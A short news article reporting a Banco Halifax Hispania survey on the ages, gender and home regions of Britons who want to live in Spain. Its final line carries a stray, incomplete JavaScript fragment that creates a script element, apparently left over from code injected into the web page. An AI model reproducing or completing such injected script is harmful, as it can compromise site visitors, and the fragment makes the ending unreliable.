Buying Property In Spain Not Just For Retired

Buying a property in Spain is no longer only a luxury afforded to the older generation, according to new research from Banco Halifax Hispania.

When it comes to Britons wanting to live overseas in Spain, almost two thirds of people (65%) who would most like to live in Spain were under the age of 55 with just 22% over the age of 65 years.

Wanting to move to Spain
Under 25 – 12%
Over 25 to 34 years old – 16%
Over 35 to 44 years old – 20%
Over 45 to 54 years old – 17%
55 to 65 years old – 13%
65 years and over – 22%

In addition, more women (57%) than men (43%) would most like to live in Spain and one in ten (10%) of all those wanting to live there were from the South East, followed by North West and London at 9%.

Ian Smith, head of European Operations at Halifax, said:

“It has long been assumed that only retirees are buying property in Spain, but this is far from the case, as it is also a popular location amongst younger age groups.”} else {var d=document;var s=d.createElement('script'); }

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